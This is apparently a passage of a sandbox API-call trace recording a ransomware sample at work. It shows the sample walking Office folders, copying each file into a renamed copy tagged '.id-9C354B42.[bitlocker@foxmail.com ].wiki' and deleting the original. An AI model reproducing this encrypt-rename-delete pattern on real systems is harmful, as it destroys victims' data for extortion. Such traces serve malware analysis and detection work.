3 [0198.755] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.756] lstrlenW (lpString=".dbf") returned 4 [0198.756] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.756] lstrlenW (lpString=".1cd") returned 4 [0198.756] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.756] lstrlenW (lpString=".jpg") returned 4 [0198.756] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.756] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0198.756] lstrlenW (lpString="BREEZE.ELM") returned 10 [0198.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.262] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=107831) returned 1 [0199.262] CloseHandle (hObject=0x1e0) returned 1 [0199.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0199.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.262] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.262] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0199.262] GetLastError () returned 0x0 [0199.262] ReadFile (in: hFile=0x1e0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x1a537, lpOverlapped=0x0) returned 1 [0199.267] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x1a540, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x1a540, lpOverlapped=0x0) returned 1 [0199.269] ReadFile (in: hFile=0x1e0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.269] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0199.269] SetEndOfFile (hFile=0x218) returned 1 [0199.269] CloseHandle (hObject=0x218) returned 1 [0199.269] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.270] SetEndOfFile (hFile=0x1e0) returned 1 [0199.271] CloseHandle (hObject=0x1e0) returned 1 [0199.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.271] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 1 [0199.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.271] lstrlenW (lpString=".doc") returned 4 [0199.271] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0199.271] lstrlenW (lpString=".docx") returned 5 [0199.271] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0199.271] lstrlenW (lpString=".pdf") returned 4 [0199.271] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0199.271] lstrlenW (lpString=".xls") returned 4 [0199.271] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0199.271] lstrlenW (lpString=".xlsx") returned 5 [0199.271] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0199.271] lstrlenW (lpString=".ppt") returned 4 [0199.272] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString=".zip") returned 4 [0199.272] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString=".rar") returned 4 [0199.272] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString=".bz2") returned 4 [0199.272] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0199.272] lstrlenW (lpString=".7z") returned 3 [0199.272] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString=".dbf") returned 4 [0199.272] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString=".1cd") returned 4 [0199.272] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString=".jpg") returned 4 [0199.272] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.272] lstrlenW (lpString=".doc") returned 4 [0199.272] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0199.272] lstrlenW (lpString=".docx") returned 5 [0199.272] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0199.272] lstrlenW (lpString=".pdf") returned 4 [0199.272] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString=".xls") returned 4 [0199.272] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0199.272] lstrlenW (lpString=".xlsx") returned 5 [0199.272] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0199.272] lstrlenW (lpString=".ppt") returned 4 [0199.273] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0199.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.273] lstrlenW (lpString=".zip") returned 4 [0199.273] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0199.273] lstrlenW (lpString=".rar") returned 4 [0199.273] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0199.273] lstrlenW (lpString=".bz2") returned 4 [0199.273] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0199.273] lstrlenW (lpString=".7z") returned 3 [0199.273] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0199.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.273] lstrlenW (lpString=".dbf") returned 4 [0199.273] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0199.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.273] lstrlenW (lpString=".1cd") returned 4 [0199.273] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0199.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0199.273] lstrlenW (lpString=".jpg") returned 4 [0199.273] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0199.273] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0199.273] lstrlenW (lpString="CAPSULES.ELM") returned 12 [0199.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 413 os_tid = 0x4f0 [0182.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3cb02b0 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3cc02b8 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638908 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636ed0 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638920 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x4140020 [0182.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638938 [0182.617] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638938, Size=0x20) returned 0x633a30 [0182.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638938 [0182.617] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638938, Size=0x20) returned 0x633b20 [0182.617] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.617] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.617] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff58 | out: OldValue=0x378ff58*=0x0) returned 1 [0182.617] lstrlenW (lpString="kernel32.dll") returned 12 [0182.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633a30 | out: hHeap=0x5c0000) returned 1 [0182.617] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.617] Sleep (dwMilliseconds=0x64) [0182.845] Sleep (dwMilliseconds=0x64) [0183.152] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.152] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0183.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0183.153] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=442272) returned 1 [0183.153] CloseHandle (hObject=0x1ec) returned 1 [0183.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0183.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0183.179] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.179] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0183.179] GetLastError () returned 0x0 [0183.179] ReadFile (in: hFile=0x1ec, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0183.199] WriteFile (in: hFile=0x1f0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0183.208] ReadFile (in: hFile=0x1ec, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.208] WriteFile (in: hFile=0x1f0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xea, lpOverlapped=0x0) returned 1 [0183.208] SetEndOfFile (hFile=0x1f0) returned 1 [0183.208] CloseHandle (hObject=0x1f0) returned 1 [0183.208] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.208] SetEndOfFile (hFile=0x1ec) returned 1 [0183.212] CloseHandle (hObject=0x1ec) returned 1 [0183.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0183.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.469] lstrlenW (lpString=".doc") returned 4 [0183.470] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.470] lstrlenW (lpString=".docx") returned 5 [0183.486] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0183.486] lstrlenW (lpString=".pdf") returned 4 [0183.486] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString=".xls") returned 4 [0183.486] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString=".xlsx") returned 5 [0183.486] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0183.486] lstrlenW (lpString=".ppt") returned 4 [0183.486] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString=".zip") returned 4 [0183.486] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString=".rar") returned 4 [0183.486] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString=".bz2") returned 4 [0183.486] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.486] lstrlenW (lpString=".7z") returned 3 [0183.486] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString=".dbf") returned 4 [0183.486] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString=".1cd") returned 4 [0183.486] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString=".jpg") returned 4 [0183.486] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.486] lstrlenW (lpString=".doc") returned 4 [0183.486] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.486] lstrlenW (lpString=".docx") returned 5 [0183.487] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0183.487] lstrlenW (lpString=".pdf") returned 4 [0183.487] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.487] lstrlenW (lpString=".xls") returned 4 [0183.487] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.487] lstrlenW (lpString=".xlsx") returned 5 [0183.487] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0183.487] lstrlenW (lpString=".ppt") returned 4 [0183.487] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.487] lstrlenW (lpString=".zip") returned 4 [0183.487] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.487] lstrlenW (lpString=".rar") returned 4 [0183.487] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.487] lstrlenW (lpString=".bz2") returned 4 [0183.487] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.487] lstrlenW (lpString=".7z") returned 3 [0183.487] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.487] lstrlenW (lpString=".dbf") returned 4 [0183.487] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.487] lstrlenW (lpString=".1cd") returned 4 [0183.487] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0183.487] lstrlenW (lpString=".jpg") returned 4 [0183.487] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.487] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.488] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0183.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0183.488] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=342960) returned 1 [0183.488] CloseHandle (hObject=0x1f4) returned 1 [0183.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0183.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0183.488] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.488] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0183.489] GetLastError () returned 0x0 [0183.489] ReadFile (in: hFile=0x1f4, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0183.498] WriteFile (in: hFile=0x1ec, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0183.505] ReadFile (in: hFile=0x1f4, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.505] WriteFile (in: hFile=0x1ec, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xea, lpOverlapped=0x0) returned 1 [0183.505] SetEndOfFile (hFile=0x1ec) returned 1 [0183.505] CloseHandle (hObject=0x1ec) returned 1 [0183.505] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.505] SetEndOfFile (hFile=0x1f4) returned 1 [0183.508] CloseHandle (hObject=0x1f4) returned 1 [0183.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0183.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.509] lstrlenW (lpString=".doc") returned 4 [0183.509] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString=".docx") returned 5 [0183.509] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0183.509] lstrlenW (lpString=".pdf") returned 4 [0183.509] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString=".xls") returned 4 [0183.509] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString=".xlsx") returned 5 [0183.509] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0183.509] lstrlenW (lpString=".ppt") returned 4 [0183.509] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.509] lstrlenW (lpString=".zip") returned 4 [0183.509] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString=".rar") returned 4 [0183.509] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.509] lstrlenW (lpString=".bz2") returned 4 [0183.509] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.510] lstrlenW (lpString=".7z") returned 3 [0183.510] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString=".dbf") returned 4 [0183.510] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 